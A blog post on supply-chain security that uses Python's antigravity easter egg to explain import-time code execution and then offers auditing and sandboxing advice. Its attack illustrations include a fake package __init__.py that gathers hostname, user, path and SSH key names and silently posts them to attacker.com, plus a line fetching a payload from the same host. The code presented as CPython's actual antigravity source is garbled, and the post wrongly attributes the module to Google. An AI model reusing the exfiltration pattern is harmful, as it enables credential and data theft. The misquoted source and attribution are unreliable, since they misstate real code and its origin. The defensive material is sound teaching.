ekofyi
Security Research9 min read

Python's antigravity Module: How Google Turned an Easter Egg Into a Supply Chain Lesson

Google's antigravity Python module redirects to a comic instead of doing anything useful — but the real story is what happens when trusted namespaces get weaponized and developers stop reading import statements.

The Easter Egg That Teaches a Real Lesson

If you've been writing Python for any length of time, you've probably stumbled across import antigravity at some point. Maybe someone showed it to you as a fun trick. Maybe you found it in a list of Python easter eggs. You type it, your browser opens an xkcd comic, everyone laughs, and you move on.

But here's the thing — there's a deeper story here that got published yesterday by 0xsid, and it's one that should make every developer uncomfortable. The antigravity module in Python's standard library isn't just a joke. It's a perfect case study in how we blindly trust imports, how namespace authority works, and how a "harmless" module that opens your browser is actually executing behavior most developers never audit.

I've been thinking about supply chain security a lot lately, and this is one of those examples that's deceptively simple on the surface but reveals uncomfortable truths about how we write and consume code. Let me break it down.

What Actually Happens When You Import antigravity

The antigravity module has been part of Python's standard library since Python 3.0 (and backported to 2.7). It was added as a reference to xkcd #353, where the comic jokes that Python gives you the ability to fly. When you run import antigravity, it calls webbrowser.open() to launch that comic in your default browser.

Here's what the actual module looks like in CPython's source:

python
import webbrowser
import hashlib

webbrowser.open("https://xkcd.com/353/")

def geohash(latitude, longitude, dession):
    '''Compute geohash() using the Munroe algorithm.

    >>> geohash(37.421542, -122.085589, b'2005-05-26-10458.68')
    37.857713 -122.544543
    '''
    h = hashlib.md5(dession, usedforsecurity=False).hexdigest()
    p = [('%f' % float.fromhex('0.' + x)) for x in (h[:16], h[16:32])]
    return float(googlelat := latitude + (float(p[0]) * (latitude - int(latitude)))), float(longitude + (float(p[1]) * (longitude - int(longitude))))

Look at that carefully. The moment you import this module — not when you call a function, not when you instantiate a class — at import time, it opens your web browser. That's code execution on import. And there's also a geohash function in there that most people never notice, which implements the xkcd geohashing algorithm.

The "bait and switch" framing from 0xsid's post highlights something important: Google (and the Python core team) put a module in the standard library that executes side effects on import. The "bait" is the fun easter egg. The "switch" is the normalization of a pattern that, in any other context, would be a red flag.

The Security Pattern Nobody Talks About

Let's be clear about what's happening from a security perspective. When you write import antigravity, you're executing arbitrary code. The module makes an outbound network request (opening a URL). In a different context — say, a dependency you pulled from PyPI — this exact pattern would be malware.

Here's the dangerous pattern abstracted:

python
# This is what malicious packages do
# And it's structurally identical to antigravity
import webbrowser
import os
import urllib.request

# Code that runs at import time
webbrowser.open("https://attacker.com/collect?host=" + os.uname().nodename)
# or worse:
urllib.request.urlopen("https://attacker.com/payload").read()

The only difference between antigravity and a malicious package is who wrote it and what URL it hits. The mechanism is identical. The trust model is "it's in the standard library, so it must be fine."

This is the core of the bait-and-switch argument. By making import-time side effects seem fun and harmless, we've trained an entire generation of Python developers to not question what happens when they import something. We've normalized the idea that import is safe because it's "just loading code."

But import in Python is not declarative. It's imperative. It executes the module's top-level code. Every single time. And most developers treat it like a C #include — a passive declaration — when it's actually closer to eval().

How This Pattern Gets Exploited in the Wild

Let me walk you through how attackers actually use this pattern in supply chain attacks. The flow is straightforward:

  1. Attacker creates a package with a name similar to a popular one (typosquatting) or compromises an existing package
  2. They add top-level code to __init__.py that executes on import
  3. A developer installs the package and imports it
  4. Game over — code has already run before any function is called

Here's a realistic attack payload that mirrors the antigravity pattern:

python
# malicious_package/__init__.py
import os
import platform
import urllib.request
import json

# Runs immediately on import — just like antigravity opens your browser
_data = {
    "hostname": platform.node(),
    "user": os.environ.get("USER", "unknown"),
    "path": os.getcwd(),
    "keys": os.listdir(os.path.expanduser("~/.ssh/")) if os.path.exists(os.path.expanduser("~/.ssh/")) else []
}

try:
    _req = urllib.request.Request(
        "https://attacker.com/exfil",
        data=json.dumps(_data).encode(),
        headers={"Content-Type": "application/json"}
    )
    urllib.request.urlopen(_req, timeout=2)
except:
    pass  # Fail silently — the developer never knows

# Now provide the "legitimate" functionality so nothing looks wrong
def useful_function():
    return "everything is fine"

This is not theoretical. Packages like ctx, phpass, and dozens of others on PyPI have used exactly this technique. The exfiltration happens before your code even reaches line 2. And because Python's import system caches modules in sys.modules, it only fires once per process — making it harder to catch in repeated testing.

The antigravity module taught us that import-time execution is cute. Attackers learned that it's useful.

Detecting Import-Time Side Effects in Your Dependencies

So how do you check if your dependencies are doing sketchy things at import time? Here are some practical approaches.

First, you can audit __init__.py files in your installed packages for suspicious top-level code:

bash
# Find all __init__.py files in your site-packages that make network calls
find $(python -c "import site; print(site.getsitepackages()[0])") \
  -name "__init__.py" \
  -exec grep -l "urllib\|requests\|http.client\|socket\|webbrowser" {} \;

This gives you a list of packages that reference networking modules at the top level. Not all of these are malicious — many legitimately need network imports — but any that call those modules outside a function definition deserve scrutiny.

For a more targeted check, look for actual function calls at the module's top level:

bash
# Look for function calls outside of def/class blocks in __init__.py
# This is a rough heuristic but catches the obvious cases
find $(python -c "import site; print(site.getsitepackages()[0])") \
  -name "__init__.py" \
  -exec grep -n "^[a-zA-Z_].*(.*)" {} /dev/null \; \
  | grep -v "^.*:def \|^.*:class \|^.*:#\|^.*:import "

You can also use Python's importlib to inspect a module without executing it:

python
import importlib.util
import ast
import sys

def audit_module_imports(module_name):
    """Check if a module has top-level function calls (potential side effects)"""
    spec = importlib.util.find_spec(module_name)
    if spec is None or spec.origin is None:
        print(f"Cannot find module: {module_name}")
        return
    
    with open(spec.origin, 'r') as f:
        tree = ast.parse(f.read())
    
    for node in ast.iter_child_nodes(tree):
        if isinstance(node, ast.Expr) and isinstance(node.value, ast.Call):
            print(f"  [!] Top-level call at line {node.lineno}: {ast.dump(node.value.func)}")
        elif isinstance(node, ast.Assign):
            if isinstance(node.value, ast.Call):
                print(f"  [!] Top-level assignment with call at line {node.lineno}")

# Test it
audit_module_imports('antigravity')

This uses AST parsing to find function calls at the module's top level without actually importing (and therefore executing) the module. It's not perfect — it won't catch calls hidden in comprehensions or conditional blocks — but it catches the common patterns.

The Blast Radius Is Bigger Than You Think

The antigravity module itself is harmless. It opens a comic. Nobody's getting pwned by xkcd. But the pattern it represents is everywhere, and the blast radius of import-time execution in the Python ecosystem is enormous.

Consider this: every Python application, from Django web apps to ML training pipelines, starts by importing dozens or hundreds of packages. Each of those packages can execute arbitrary code the moment they're imported. There's no sandbox. There's no permission system. There's no "this package wants to access your network" prompt like you'd get on a mobile OS.

If any single package in your dependency tree is compromised, the attacker gets full access to whatever permissions your Python process has. In CI/CD pipelines, that often means cloud credentials, deployment keys, and access to production infrastructure. The antigravity pattern — code execution on import — is the mechanism that makes all of this possible.

And it's not just direct dependencies. Transitive dependencies (dependencies of your dependencies) follow the same rules. A package five levels deep in your dependency tree can execute code the moment your application starts.

What You Should Do Right Now

First, audit your dependency tree. Use pip list and actually look at what's installed. Remove anything you don't recognize or no longer need.

bash
# Generate a full dependency tree with versions
pip install pipdeptree
pipdeptree --warn silence | head -100

# Check for known vulnerabilities
pip install pip-audit
pip-audit

Second, pin your dependencies. Don't use version ranges in production. Use exact pins with hashes:

bash
# Generate requirements with hashes for integrity verification
pip install pip-tools
pip-compile --generate-hashes requirements.in -o requirements.txt

This ensures that even if a package is compromised on PyPI, your builds won't pull the malicious version unless you explicitly update.

Third, use virtual environments religiously and consider running untrusted code in containers or sandboxed environments. If you're evaluating a new package, don't just pip install it on your main machine:

bash
# Evaluate new packages in isolation
docker run --rm -it --network=none python:3.12-slim bash -c "
  pip install suspicious-package && 
  python -c 'import suspicious_package'
"

The --network=none flag is key here — it prevents any exfiltration during the import. If the package fails to import without network access and it's not obviously a network library, that's a red flag.

Fourth, consider tools like guarddog or packj that specifically analyze packages for malicious signals before installation:

bash
pip install guarddog
guarddog pypi scan requests  # Scan a package for malicious indicators

The Bigger Picture: Trust Is the Real Vulnerability

The antigravity module is a joke. But it's a joke that reveals a fundamental truth about Python's security model: there isn't one at the import level. We rely entirely on trust — trust in the standard library, trust in package maintainers, trust in PyPI's malware detection.

This isn't unique to Python. Node.js has the same problem with require(). Ruby has it with require. Any language where importing a module executes code has this attack surface. But Python's culture of "batteries included" and the sheer size of PyPI (over 500,000 packages) makes it a particularly rich target.

The lesson from antigravity isn't "don't use easter eggs." It's that we need to be conscious of what import actually means. It's not a declaration. It's execution. Every import statement is an act of trust. Make sure that trust is warranted.

Next time you see import something in a codebase, ask yourself: do I know what that module does at import time? If the answer is no, maybe it's time to find out — before someone else finds out for you.

Related posts

Written by Eko

If you found this useful, follow @ekofyi on X for more notes like this — or get in touch if you have a problem to solve.